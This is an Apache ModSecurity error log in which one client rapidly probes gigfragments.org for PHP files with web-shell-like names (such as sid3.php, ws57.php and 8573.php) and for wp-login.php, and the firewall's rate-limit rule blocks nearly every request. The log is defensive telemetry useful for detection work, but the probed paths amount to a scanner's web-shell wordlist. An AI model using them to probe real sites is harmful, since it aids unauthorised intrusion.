[Sun Apr 19 20:55:02.527863 2026] [:error] [pid 47886:tid 47907] [client 20.166.83.47:11222] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aeTQpkSe8yiyuPrD7yNytAAAANM"]
[Sun Apr 19 20:55:03.356540 2026] [:error] [pid 15760:tid 15789] [client 20.166.83.47:11239] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aeTQp_SdD_XHQMJ_ISsbQQAAAdU"]
[Sun Apr 19 20:55:04.392318 2026] [:error] [pid 47772:tid 47789] [client 20.166.83.47:11213] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aeTQqIc0L16cb4smAz-ycQAAAAA"]
[Sun Apr 19 20:55:05.434353 2026] [:error] [pid 15763:tid 15813] [client 20.166.83.47:11135] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aeTQqbMXv1Y1THOoxaDwNwAAAhE"]
[Sun Apr 19 20:55:06.193395 2026] [:error] [pid 15760:tid 15785] [client 20.166.83.47:11227] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aeTQqvSdD_XHQMJ_ISsbUgAAAdE"]
[Sun Apr 19 20:55:06.886002 2026] [:error] [pid 15760:tid 15775] [client 20.166.83.47:11142] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aeTQqvSdD_XHQMJ_ISsbVwAAAcc"]
[Sun Apr 19 20:55:07.431401 2026] [:error] [pid 47772:tid 47806] [client 20.166.83.47:11243] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aeTQq4c0L16cb4smAz-ydgAAABE"]
[Sun Apr 19 20:55:08.055169 2026] [:error] [pid 47772:tid 47800] [client 20.166.83.47:11168] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "aeTQrIc0L16cb4smAz-yeAAAAAs"]
[Sun Apr 19 20:55:08.689965 2026] [:error] [pid 15760:tid 15770] [client 20.166.83.47:11182] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "aeTQrPSdD_XHQMJ_ISsbYQAAAcI"]
[Sun Apr 19 20:55:09.602833 2026] [:error] [pid 15693:tid 15715] [client 20.166.83.47:11206] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "aeTQrcNMD-ccazQlTslYFQAAAVM"]
[Sun Apr 19 20:55:10.261915 2026] [:error] [pid 47773:tid 47818] [client 20.166.83.47:11087] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "aeTQruiBHdnCJDuPq9A62QAAAEI"]
[Sun Apr 19 20:55:20.709693 2026] [:error] [pid 15760:tid 15791] [client 20.166.83.47:11238] [client 20.166.83.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.166.83.47, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeTQuPSdD_XHQMJ_ISsbgwAAAdc"]
[Sun Apr 19 20:55:34.628175 2026] [:error] [pid 15763:tid 15800] [client 20.166.83.47:11167] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeTQxrMXv1Y1THOoxaDwhAAAAgQ"]
[Sun Apr 19 20:55:35.412893 2026] [:error] [pid 15763:tid 15809] [client 20.166.83.47:11262] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeTQx7MXv1Y1THOoxaDwiQAAAg0"]
[Sun Apr 19 20:55:36.150678 2026] [:error] [pid 15764:tid 15845] [client 20.166.83.47:11192] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeTQyGLL_sqdSHoVp-QIAQAAAlM"]
[Sun Apr 19 20:55:36.912883 2026] [:error] [pid 15760:tid 15790] [client 20.166.83.47:11173] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeTQyPSdD_XHQMJ_ISsbvQAAAdY"]
[Sun Apr 19 20:55:37.780333 2026] [:error] [pid 47773:tid 47833] [client 20.166.83.47:11191] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aeTQyeiBHdnCJDuPq9A67QAAAFE"]
[Sun Apr 19 20:55:39.051190 2026] [:error] [pid 15764:tid 15835] [client 20.166.83.47:11178] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aeTQy2LL_sqdSHoVp-QIBwAAAkk"]
[Sun Apr 19 20:55:40.077155 2026] [:error] [pid 15694:tid 15748] [client 20.166.83.47:11139] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aeTQzLimB-jol1fwqAoJqAAAAZY"]
[Sun Apr 19 20:55:40.831065 2026] [:error] [pid 15763:tid 15816] [client 20.166.83.47:11172] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aeTQzLMXv1Y1THOoxaDwmwAAAhQ"]
[Sun Apr 19 20:55:42.103018 2026] [:error] [pid 15765:tid 15862] [client 20.166.83.47:11218] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aeTQzvRqinw-W5EwQ773JAAAAok"]
[Sun Apr 19 20:55:43.167564 2026] [:error] [pid 47773:tid 47817] [client 20.166.83.47:11073] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aeTQz-iBHdnCJDuPq9A7BAAAAEE"]
[Sun Apr 19 20:55:43.740743 2026] [:error] [pid 47773:tid 47820] [client 20.166.83.47:11190] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aeTQz-iBHdnCJDuPq9A7CAAAAEQ"]
[Sun Apr 19 20:55:44.667203 2026] [:error] [pid 15764:tid 15826] [client 20.166.83.47:11176] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aeTQ0GLL_sqdSHoVp-QIDQAAAkA"]
[Sun Apr 19 20:55:45.237838 2026] [:error] [pid 15764:tid 15831] [client 20.166.83.47:11186] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aeTQ0WLL_sqdSHoVp-QIEgAAAkU"]
[Sun Apr 19 20:55:46.138620 2026] [:error] [pid 47775:tid 47857] [client 20.166.83.47:11074] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aeTQ0rmztjlk9tsmoewPpwAAAI4"]
[Sun Apr 19 20:55:46.793517 2026] [:error] [pid 15760:tid 15792] [client 20.166.83.47:11194] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aeTQ0vSdD_XHQMJ_ISsbygAAAdg"]
[Sun Apr 19 20:55:47.443231 2026] [:error] [pid 47886:tid 47908] [client 20.166.83.47:11035] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aeTQ00Se8yiyuPrD7yNywAAAANQ"]
[Sun Apr 19 20:55:48.204774 2026] [:error] [pid 15764:tid 15844] [client 20.166.83.47:11100] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "aeTQ1GLL_sqdSHoVp-QIIgAAAlI"]
[Sun Apr 19 20:55:48.809069 2026] [:error] [pid 15764:tid 15847] [client 20.166.83.47:11143] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "aeTQ1GLL_sqdSHoVp-QIJwAAAlU"]
[Sun Apr 19 20:55:49.565498 2026] [:error] [pid 15760:tid 15772] [client 20.166.83.47:11079] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "aeTQ1fSdD_XHQMJ_ISsbzwAAAcQ"]
[Sun Apr 19 20:55:50.230633 2026] [:error] [pid 15760:tid 15771] [client 20.166.83.47:11118] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "aeTQ1vSdD_XHQMJ_ISsb0gAAAcM"]
[Sun Apr 19 20:55:51.067897 2026] [:error] [pid 15763:tid 15801] [client 20.166.83.47:11097] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aeTQ17MXv1Y1THOoxaDwtQAAAgU"]
[Sun Apr 19 20:55:52.131829 2026] [:error] [pid 47775:tid 47863] [client 20.166.83.47:11085] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aeTQ2Lmztjlk9tsmoewPsQAAAJQ"]
[Sun Apr 19 20:55:53.008355 2026] [:error] [pid 47772:tid 47798] [client 20.166.83.47:11106] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aeTQ2Yc0L16cb4smAz-ysQAAAAk"]
[Sun Apr 19 20:55:53.690399 2026] [:error] [pid 15763:tid 15806] [client 20.166.83.47:11121] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aeTQ2bMXv1Y1THOoxaDwtwAAAgo"]
[Sun Apr 19 20:55:54.373974 2026] [:error] [pid 47772:tid 47796] [client 20.166.83.47:11158] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aeTQ2oc0L16cb4smAz-yuAAAAAc"]
[Sun Apr 19 20:55:55.104953 2026] [:error] [pid 47773:tid 47827] [client 20.166.83.47:11062] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aeTQ2-iBHdnCJDuPq9A7EwAAAEs"]
[Sun Apr 19 20:55:55.727988 2026] [:error] [pid 47775:tid 47854] [client 20.166.83.47:11155] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aeTQ27mztjlk9tsmoewPtQAAAIs"]
[Sun Apr 19 20:55:56.509781 2026] [:error] [pid 15763:tid 15811] [client 20.166.83.47:11229] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aeTQ3LMXv1Y1THOoxaDwugAAAg8"]
[Sun Apr 19 20:55:57.126774 2026] [:error] [pid 15765:tid 15871] [client 20.166.83.47:11089] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yw5bi63u.php"] [unique_id "aeTQ3fRqinw-W5EwQ773KwAAApI"]
[Sun Apr 19 20:55:57.665300 2026] [:error] [pid 15764:tid 15845] [client 20.166.83.47:11163] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yw5bi63u.php"] [unique_id "aeTQ3WLL_sqdSHoVp-QIOAAAAlM"]
[Sun Apr 19 20:55:58.389956 2026] [:error] [pid 47886:tid 47892] [client 20.166.83.47:11088] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yw5bi63u.php"] [unique_id "aeTQ3kSe8yiyuPrD7yNyzQAAAMQ"]
[Sun Apr 19 20:55:59.044501 2026] [:error] [pid 47773:tid 47836] [client 20.166.83.47:11078] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yw5bi63u.php"] [unique_id "aeTQ3-iBHdnCJDuPq9A7GwAAAFQ"]
[Sun Apr 19 20:55:59.806961 2026] [:error] [pid 15765:tid 15863] [client 20.166.83.47:11114] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeTQ3_Rqinw-W5EwQ773LgAAAoo"]
[Sun Apr 19 20:56:01.105774 2026] [:error] [pid 15760:tid 15792] [client 20.166.83.47:11138] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeTQ4fSdD_XHQMJ_ISsb7QAAAdg"]
[Sun Apr 19 20:56:01.973363 2026] [:error] [pid 15760:tid 15775] [client 20.166.83.47:11166] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeTQ4fSdD_XHQMJ_ISsb8wAAAcc"]
[Sun Apr 19 20:56:02.759317 2026] [:error] [pid 15693:tid 15719] [client 20.166.83.47:11076] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeTQ4sNMD-ccazQlTslYLQAAAVc"]
[Sun Apr 19 20:56:03.464834 2026] [:error] [pid 15694:tid 15747] [client 20.166.83.47:11093] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "aeTQ47imB-jol1fwqAoJsgAAAZU"]
[Sun Apr 19 20:56:04.504133 2026] [:error] [pid 15693:tid 15703] [client 20.166.83.47:11019] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "aeTQ5MNMD-ccazQlTslYMwAAAUc"]
[Sun Apr 19 20:56:05.279928 2026] [:error] [pid 15764:tid 15828] [client 20.166.83.47:11133] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "aeTQ5WLL_sqdSHoVp-QIRgAAAkI"]
[Sun Apr 19 20:56:06.044953 2026] [:error] [pid 15760:tid 15780] [client 20.166.83.47:11066] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "aeTQ5vSdD_XHQMJ_ISsb9wAAAcw"]
[Sun Apr 19 20:56:06.623215 2026] [:error] [pid 15760:tid 15786] [client 20.166.83.47:11053] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "aeTQ5vSdD_XHQMJ_ISsb_gAAAdI"]
[Sun Apr 19 20:56:07.420913 2026] [:error] [pid 15760:tid 15791] [client 20.166.83.47:11098] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "aeTQ5_SdD_XHQMJ_ISscCQAAAdc"]
[Sun Apr 19 20:56:08.540185 2026] [:error] [pid 15764:tid 15826] [client 20.166.83.47:11179] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "aeTQ6GLL_sqdSHoVp-QITAAAAkA"]
[Sun Apr 19 20:56:09.356394 2026] [:error] [pid 15765:tid 15853] [client 20.166.83.47:11082] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "aeTQ6fRqinw-W5EwQ773MwAAAoE"]
